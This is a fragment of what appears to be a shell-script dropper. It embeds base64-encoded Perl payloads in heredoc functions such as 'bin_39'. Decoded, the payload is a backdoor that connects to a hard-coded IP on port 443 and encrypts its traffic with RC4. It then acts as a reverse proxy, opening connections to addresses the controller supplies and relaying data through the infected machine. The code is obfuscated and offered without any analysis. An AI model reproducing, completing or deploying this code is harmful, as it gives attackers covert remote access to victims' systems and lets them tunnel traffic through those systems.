PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_39() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODgnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz 